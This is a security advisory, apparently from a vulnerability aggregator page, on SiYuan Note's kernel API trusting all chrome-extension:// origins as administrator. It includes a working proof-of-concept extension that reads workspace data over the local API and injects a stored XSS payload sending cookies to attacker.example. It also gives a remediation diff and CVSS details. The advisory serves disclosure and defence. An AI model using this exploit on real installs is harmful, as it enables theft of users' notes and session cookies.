SiYuan: Unauthenticated Admin API Access via Blanket chrome-extension:// Origin Allowlist

説明

Summary

SiYuan Note's kernel HTTP server unconditionally trusts all chrome-extension:// origins, granting RoleAdministrator access to every installed browser extension without any authentication. Combined with the default empty AccessAuthCode on desktop installs, any Chrome/Chromium extension -- including a compromised legitimate extension via supply chain attack -- can make fully authenticated admin API calls to the SiYuan kernel at 127.0.0.1:6806, enabling data exfiltration, stored XSS injection, and configuration tampering.

Affected Versions

SiYuan <= v3.6.5 (commit 96dfe0bea474). The chrome-extension allowlist remains unfixed as of the latest commit on the fix branch (d7b77d945e0d).

Vulnerability Details

Blanket chrome-extension:// Origin Trust (CWE-346)

In kernel/model/session.go:277, the CheckAuth middleware exempts all chrome-extension:// origins from authentication:

if strings.HasPrefix(origin, &quot;chrome-extension://&quot;) {
    // skip auth
}

At session.go:284, the request is assigned RoleAdministrator:

c.Set(&quot;role&quot;, model.RoleAdministrator)

The AccessAuthCode field defaults to an empty string for desktop installs (ContainerStd). When empty, no token validation occurs. This means any Chrome/Chromium extension can make fully authenticated admin API calls to the SiYuan kernel.

The origin check trusts the entire chrome-extension:// scheme rather than validating a specific extension ID, so every installed extension (including those with no explicit host_permissions) can access all admin endpoints.

Proof of Concept

Unauthenticated admin API access via browser extension:

A minimal Chrome extension with only default permissions:

{
  &quot;manifest_version&quot;: 3,
  &quot;name&quot;: &quot;SiYuan PoC&quot;,
  &quot;version&quot;: &quot;1.0&quot;,
  &quot;background&quot;: {
    &quot;service_worker&quot;: &quot;bg.js&quot;
  }
}
// bg.js -- runs as chrome-extension://&lt;id&gt;
// No special host_permissions needed; localhost is accessible by default

// 1. Verify admin access
fetch(&#x27;http://127.0.0.1:6806/api/system/getConf&#x27;, {
  method: &#x27;POST&#x27;,
  headers: { &#x27;Content-Type&#x27;: &#x27;application/json&#x27; },
  body: &#x27;{}&#x27;
}).then(r =&gt; r.json()).then(data =&gt; {
  console.log(&#x27;[PoC] Admin API access confirmed:&#x27;, data.code === 0);
});

// 2. Exfiltrate workspace data
fetch(&#x27;http://127.0.0.1:6806/api/query/sql&#x27;, {
  method: &#x27;POST&#x27;,
  headers: { &#x27;Content-Type&#x27;: &#x27;application/json&#x27; },
  body: JSON.stringify({ stmt: &#x27;SELECT * FROM blocks LIMIT 100&#x27; })
}).then(r =&gt; r.json()).then(data =&gt; {
  console.log(&#x27;[PoC] Exfiltrated blocks:&#x27;, data.data?.length);
});

// 3. Inject stored XSS payload into a note
fetch(&#x27;http://127.0.0.1:6806/api/filetree/listDocsByPath&#x27;, {
  method: &#x27;POST&#x27;,
  headers: { &#x27;Content-Type&#x27;: &#x27;application/json&#x27; },
  body: JSON.stringify({ notebook: &#x27;&#x27;, path: &#x27;/&#x27; })
}).then(r =&gt; r.json()).then(tree =&gt; {
  const firstDoc = tree.data?.files?.[0];
  if (!firstDoc) return;

  fetch(&#x27;http://127.0.0.1:6806/api/block/insertBlock&#x27;, {
    method: &#x27;POST&#x27;,
    headers: { &#x27;Content-Type&#x27;: &#x27;application/json&#x27; },
    body: JSON.stringify({
      dataType: &#x27;markdown&#x27;,
      data: &#x27;&lt;img src=x onerror=&quot;fetch(\&#x27;https://attacker.example/steal?data=\&#x27;+document.cookie)&quot;&gt;&#x27;,
      parentID: firstDoc.id
    })
  });
});

The extension requires zero special permissions. The chrome-extension:// origin header is automatically sent by the browser, and session.go:277 grants it RoleAdministrator without any token check.

Impact

  • Unauthenticated admin API access for any installed browser extension, enabling full control of the SiYuan kernel
  • Data exfiltration of the entire workspace via /api/query/sql, /api/filetree/, /api/export/
  • Stored XSS injection via admin API endpoints (/api/block/insertBlock, /api/attr/setBlockAttrs), persisted in the user's notes
  • Configuration tampering via /api/system/setConf, enabling persistence and further attack surface expansion
  • Supply chain amplification: a single compromised popular Chrome extension update can silently exploit every SiYuan desktop user

Suggested Remediation

Remove blanket chrome-extension:// allowlist:

--- a/kernel/model/session.go
+++ b/kernel/model/session.go
@@ -274,9 +274,6 @@
 func CheckAuth(c *gin.Context) {
     origin := c.GetHeader(&quot;Origin&quot;)
-    if strings.HasPrefix(origin, &quot;chrome-extension://&quot;) {
-        // Allow chrome extension requests
-    } else
     if !isValidOrigin(origin) {
         c.AbortWithStatusJSON(401, gin.H{&quot;code&quot;: -1, &quot;msg&quot;: &quot;invalid origin&quot;})
         return

If extension access is required, implement a per-session token exchange: the SiYuan UI generates a random token on startup, and the extension must present it via a dedicated pairing endpoint. This ensures only explicitly authorized extensions can access the API.

基本情報

タイプ
reviewed
深刻度
critical
GitHub 上のアドバイザリ
アドバイザリを開く ↗
リポジトリのアドバイザリ
リポジトリのアドバイザリを開く ↗
ソースコード
ソースを見る ↗
公開(アドバイザリ)
2026-07-10 19:26:06 UTC
更新
2026-07-10 19:27:59 UTC
GitHub レビュー済み
2026-07-10 19:26:06 UTC
NVD で公開
2026-06-24

EPSS Score

Score Percentile
0.61% 44.54%

CVSS Scores

Base score Version Severity Vector
9.2 4.0
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N クリックして展開
攻撃ベクター (AV:N)
インターネットや社内 WAN など、ルーティングされたネットワーク越しに遠隔から踏み台にしうる。
攻撃の複雑さ (AC:H)
タイミング・負荷・周辺設定に左右され、安定して成功させにくい。
攻撃要件 (AT:N)
到達性以外に、追加のインフラ条件やデータ前提は要らない。
必要な権限 (PR:N)
昇格やログインなしで踏み台にしうる。
ユーザーの関与 (UI:N)
被害者の操作なしでも攻撃が完結しうる。
脆弱システムの機密性への影響 (VC:H)
広範な機微情報の窃取や長期滞留が現実的。
脆弱システムの完全性への影響 (VI:H)
監査ログの改竄や広範なデータ偽装など、信頼根拠を崩す水準。
脆弱システムの可用性への影響 (VA:H)
長時間のサービス不能やデータ損壊に伴う復旧困難が現実的。
後続システムの機密性への影響 (SC:N)
脆弱点を経由して下流の機微情報が読まれうる余地はほとんどない。
後続システムの完全性への影響 (SI:N)
下流の記録や設定が歪められる局面はほとんど想定されない。
後続システムの可用性への影響 (SA:N)
下流サービスが止まるほどの影響は想定しにくい。

Identifiers

CWEs

CWE id Name
CWE-346 Origin Validation Error

Credits

  • oduoke567 (reporter)

Affected packages (1)

Vulnerable version ranges and first patched releases as published by GitHub.

Ecosystem Package Vulnerable range First patched Vulnerable functions
go github.com/siyuan-note/siyuan/kernel < 0.0.0-20260628153353-2d5d72223df4 0.0.0-20260628153353-2d5d72223df4

References

cvelogic Threat Intelligence